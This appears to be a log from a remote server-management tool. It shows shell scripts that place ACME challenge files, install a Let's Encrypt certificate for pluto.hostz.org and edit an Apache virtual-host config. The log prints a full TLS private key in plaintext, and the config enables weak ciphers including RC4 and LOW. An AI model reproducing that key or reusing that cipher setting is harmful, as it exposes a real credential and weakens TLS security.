MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-20 18:56:00: Establishing a connection
2026-04-20 18:56:01: Establishing a connection
2026-04-20 18:56:03: 

PUT: /tmp/pkp362469

#!/bin/bash
if [ -d "/var/www/hostz_pluto/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-20 18:56:03: 

chmod 755 /tmp/pkp362469; /tmp/pkp362469; rm /tmp/pkp362469

2026-04-20 18:56:04: 


1


2026-04-20 18:56:05: Establishing a connection
2026-04-20 18:56:06: 

PUT: /tmp/pkp185260

#!/bin/bash
mkdir -p "/var/www/hostz_pluto/.well-known/acme-challenge/"
cd "/var/www/hostz_pluto/.well-known/acme-challenge/"
cat > Ea6sPOFf0ep6jLFKt1yPgPFjtG0KOgoT8JktD2r98Bw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Ea6sPOFf0ep6jLFKt1yPgPFjtG0KOgoT8JktD2r98Bw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Ea6sPOFf0ep6jLFKt1yPgPFjtG0KOgoT8JktD2r98Bw


2026-04-20 18:56:07: 

chmod 755 /tmp/pkp185260; /tmp/pkp185260; rm /tmp/pkp185260

2026-04-20 18:56:07: 




2026-04-20 18:57:32: Establishing a connection
2026-04-20 18:57:33: Establishing a connection
2026-04-20 18:57:34: 

PUT: /tmp/pkp824596

#!/bin/bash
if [ -d "/var/www/hostz_pluto/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-20 18:57:35: 

chmod 755 /tmp/pkp824596; /tmp/pkp824596; rm /tmp/pkp824596

2026-04-20 18:57:35: 


1


2026-04-20 18:57:36: Establishing a connection
2026-04-20 18:57:37: 

PUT: /tmp/pkp774877

#!/bin/bash
mkdir -p "/var/www/hostz_pluto/.well-known/acme-challenge/"
cd "/var/www/hostz_pluto/.well-known/acme-challenge/"
cat > RWnW3uKPVMIrIG8us4Y2vHnyxvSXakb52GSDgUfAWfI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
RWnW3uKPVMIrIG8us4Y2vHnyxvSXakb52GSDgUfAWfI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 RWnW3uKPVMIrIG8us4Y2vHnyxvSXakb52GSDgUfAWfI


2026-04-20 18:57:38: 

chmod 755 /tmp/pkp774877; /tmp/pkp774877; rm /tmp/pkp774877

2026-04-20 18:57:38: 




2026-04-20 18:58:11: Establishing a connection
2026-04-20 18:58:12: Establishing a connection
2026-04-20 18:58:13: 

PUT: /tmp/pkp685198

#!/bin/bash
if [ -d "/var/www/hostz_pluto/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-20 18:58:14: 

chmod 755 /tmp/pkp685198; /tmp/pkp685198; rm /tmp/pkp685198

2026-04-20 18:58:14: 


1


2026-04-20 18:58:15: Establishing a connection
2026-04-20 18:58:16: 

PUT: /tmp/pkp583594

#!/bin/bash
mkdir -p "/var/www/hostz_pluto/.well-known/acme-challenge/"
cd "/var/www/hostz_pluto/.well-known/acme-challenge/"
cat > 3hAimfetsKXeSgvKTNDRDchK1Bica80v2mdhubJcUQ8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
3hAimfetsKXeSgvKTNDRDchK1Bica80v2mdhubJcUQ8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 3hAimfetsKXeSgvKTNDRDchK1Bica80v2mdhubJcUQ8


2026-04-20 18:58:17: 

chmod 755 /tmp/pkp583594; /tmp/pkp583594; rm /tmp/pkp583594

2026-04-20 18:58:18: 




2026-04-20 18:58:21: Establishing a connection
2026-04-20 18:58:22: 

PUT: /tmp/pkp472823

#!/bin/bash
mkdir -p "/var/www/hostz_pluto/.well-known/acme-challenge/"
cd "/var/www/hostz_pluto/.well-known/acme-challenge/"
rm 3hAimfetsKXeSgvKTNDRDchK1Bica80v2mdhubJcUQ8


2026-04-20 18:58:23: 

chmod 755 /tmp/pkp472823; /tmp/pkp472823; rm /tmp/pkp472823

2026-04-20 18:58:23: 




2026-04-20 18:58:23: Establishing a connection
2026-04-20 18:58:24: 

PUT: /tmp/pkp388179

#!/bin/bash
temp_file=$(mktemp)
TARGET=68fedc5efe490e129eb9aeeb5aa22807.crt

cat > $temp_file <<'endmsg'
74:18:27:2d:df:51:7f:c4:d5:0a:fd:05:18:ec:26:df

-----BEGIN CERTIFICATE-----
MIIE9zCCA9+gAwIBAgISBdnKDRPcWuCpoVjyOpnry3QpMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDIwMTc1OTUwWhcNMjYwNzE5MTc1OTQ5WjAaMRgwFgYDVQQD
Ew9wbHV0by5ob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQD0rPQpebXZh/egzXff2tFNBk3VlkPSqmNmVDgMRBzHpqCKrO1N4vGUIHmDvsFr
pjcpQt4D6rnv//QC4/Zzrdxau2Nkw2Sf2k1M5wFZHioekGS5YuVeVz4AEjlbiACg
jsFPhc49RVx4yJrmBDocpaKDqcsTMVL8xw2o6dQVoaibXk3ElE8GGDaAIZv8qTcS
f46HMjwPEy94n9aUHVCnmeWMzIwbih0p85BF1FxkzxrD5PYiqPGqf90PoG6DsTE4
QFoiTenUs/R8vS2ntMXLigCmepRSdeGsU+AYUNjaML2Qxcc8ICjClBsL+aqUJvEO
/tDjtkbsu0tD2HAlgY8KSPrhAgMBAAGjggIcMIICGDAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUnuUm
GnJnYYCDbZOpBt1C95NOZlowHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKEDjvW
kjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmkubGVu
Y3Iub3JnLzAaBgNVHREEEzARgg9wbHV0by5ob3N0ei5vcmcwEwYDVR0gBAwwCjAI
BgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9y
Zy80Mi5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5APcAfgBGr4Y9Oz7ln6V33qgk
XTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ2sQgVJAAgAAAUABGnvYgQDAEcwRQIgO0DS
Ton1tI9d+lzy0dji4cO7CiuXU3eQuqbkCarOjp0CIQDnSRhthW/Vhjmg8YdTZEi4
FpC6Cd+VkamQQo0SHIR00wB1AK9niDtXsE7dj6bZfvYuqOuBCsdxYPAkXlXWDC/n
hYc6AAABnaxCBYEAAAQDAEYwRAIgY8kob7ppDZnmIrXt5eVpvqmrtzYVOp4yfUNS
cw/yKlACIEGl47J/M5lzQNTp/atNVYe3Np6BAkO83t1QuvWBS3xqMA0GCSqGSIb3
DQEBCwUAA4IBAQAhmT65kxmobaWQuDOIJcTCrR+OowB+JIrVIcvDRAZoghaPvgWP
9XrjSefKNmvbLcMd18cUptshR7GGJuZroDfqQdFsSQJtU+p5aSzohJzY0SYN1gUv
KOxZ48roHkxdWpl6pMvsdgz2gc7WY9vWsN/LaavbxqUWiHYAGV54uZ+x9urG8uKG
VzHx5uZ5HNF1DFrEGbtOTo6lvsWl0tx3XATSXLYRX4uqxrbhz0QW5KHWjBR0RBXT
BoSwpMwLAX4KfdLZ69z/gxY13kTTwnXvBdwEFsgMKYYiLbAZyA3XMv5Mikn173uy
0mmaCkhN6IYRqDxjCOlNPL0RRyvaP2dNpJXA
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQD0rPQpebXZh/eg
zXff2tFNBk3VlkPSqmNmVDgMRBzHpqCKrO1N4vGUIHmDvsFrpjcpQt4D6rnv//QC
4/Zzrdxau2Nkw2Sf2k1M5wFZHioekGS5YuVeVz4AEjlbiACgjsFPhc49RVx4yJrm
BDocpaKDqcsTMVL8xw2o6dQVoaibXk3ElE8GGDaAIZv8qTcSf46HMjwPEy94n9aU
HVCnmeWMzIwbih0p85BF1FxkzxrD5PYiqPGqf90PoG6DsTE4QFoiTenUs/R8vS2n
tMXLigCmepRSdeGsU+AYUNjaML2Qxcc8ICjClBsL+aqUJvEO/tDjtkbsu0tD2HAl
gY8KSPrhAgMBAAECggEAAzNBqor1raGjU9RqKGi1Fv0Bjr0NWCubuxh4BvOLXZJk
rEmqnSueKagC1N39a0g4VZsi+qHC4rRqI3FKPX05OgvURwqt9dAJ9ar6E9mC1yVf
9uOH8Nvi4wb5/nQs/2yck0rijZ87EFad3YsxvCMPuQmDDyZEkcsz9tkPmcSUdys+
HLEgJ4PGLZRdM6Eppicsrf11zE/oU6k/EGNk5YjqKtXdhHbGMPfPcFC+027broyB
R26bNSCx2dOoAjZSPTweBgi4SCmSlsEyhpENS3jvBvh3Wesg57Yx2gNB7aTAz8SI
/XhTp0zjFj5cxRsNc62OC6Yv9ucSlvuYsmkm6HtucQKBgQD8Zlhiit5kl3xdfvUV
69C91xCApSPiblxjuAyIuG5CxnPJD+BxyVCFQ+AS5Shf2XN5R6fhNOHqc4sxSS/M
N9mRaZlYkgX69+ODWgSwtgbFKhnw953/FqiNhmpnzILZVDXIcwd7Ni34tcNG/rVV
fPk7gSt9G50s/2QBrCkllHVQEQKBgQD4KmczDUASRkKRYyVA9NxfQ2/fuwgkDGNf
2ubw1VZlAo1xbyN0PcmdkgkmhZaIBggKZcfP79m4vVfU3t7P66tgw67Hr/308QHT
I8wo3MZ8J1tyPhXjo+steah9NzZVHtYjexKOVrkUsMGX/OedG1fjdWZM4RDUnVwh
kbY+FBXN0QKBgQDmTxlNafv+fAA+bC+FPjWuVIU5bfbtkdh6IaJGS0xJYD6c9ADQ
s2rm/4WCmFocBBcLTqhQpmmS/rW/VlHoHfpIZrxHho8wb2vKGqT2/lH1LTKYn8oq
zukkoseLSaEIYH/nFZd5BXozXOAAc0DR7gSaGIavVTg5rBz8LbUqFmppkQKBgF5w
ZI19AWDy8+o3/LlXdXWbSDuwBU0Smc6kkzYbOaF+8yyzyp411T/tjyXluH9TLEQo
r31mHUi8ZWxQ1CHz4WgVj7HWO6K3BKbA/LSgL7iXkalMDzBt9NV9cq0UEc0aywr9
jvYz8oL5MPMR/2I+QZgB2UhwbeM7bxAnT18YbaPBAoGBAIc87LONwzwsk7FLN7ZU
P+2tk1wlY36sMmjQ+5ICUCDGXiu/j/xZ0JuCw4rXIzbz++6BszShP7tJALdK1iII
35IxVxcaiaOEwQfxg+LTr0EbKiV/92Q1G4VglyxxHjklLEMHdIRiuuc6gKVMCz1U
j1AEpibLhNCQzDR+QHpQvqaW
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-20 18:58:25: 

chmod 755 /tmp/pkp388179; /tmp/pkp388179; rm /tmp/pkp388179

2026-04-20 18:58:25: 


dir=/etc/ssl/certs


2026-04-20 18:58:25: 

PUT: /tmp/pkp593780

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_pluto_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-20 18:58:26: 

chmod 755 /tmp/pkp593780; /tmp/pkp593780; rm /tmp/pkp593780

2026-04-20 18:58:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_pluto_org.conf 39
<VirtualHost *:80>
    ServerName	pluto.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_pluto
    <Directory /var/www/hostz_pluto>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/pluto_access.log combined
    ErrorLog	/var/log/apache2/hostz/pluto_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    
#    ProxyRequests	off
#    ProxyVia	on
#    ProxyPass	/ http://192.168.1.71/
#    ProxyPassReverse	/ http://192.168.1.71/
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	pluto.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/68fedc5efe490e129eb9aeeb5aa22807.crt
    DocumentRoot	/var/www/hostz_pluto
    <Directory /var/www/hostz_pluto>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/hostz/pluto_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/pluto_secure_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
</VirtualHost>





2026-04-20 18:58:26: 

PUT: /tmp/pkp127508

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_pluto_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_pluto_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	pluto.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_pluto
    <Directory /var/www/hostz_pluto>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/pluto_access.log combined
    ErrorLog	/var/log/apache2/hostz/pluto_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    
    #    ProxyRequests	off
#    ProxyVia	on
#    ProxyPass	/ http://192.168.1.71/
#    ProxyPassReverse	/ http://192.168.1.71/
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	pluto.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/68fedc5efe490e129eb9aeeb5aa22807.crt
    DocumentRoot	/var/www/hostz_pluto
    <Directory /var/www/hostz_pluto>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/pluto_secure_access.log combined
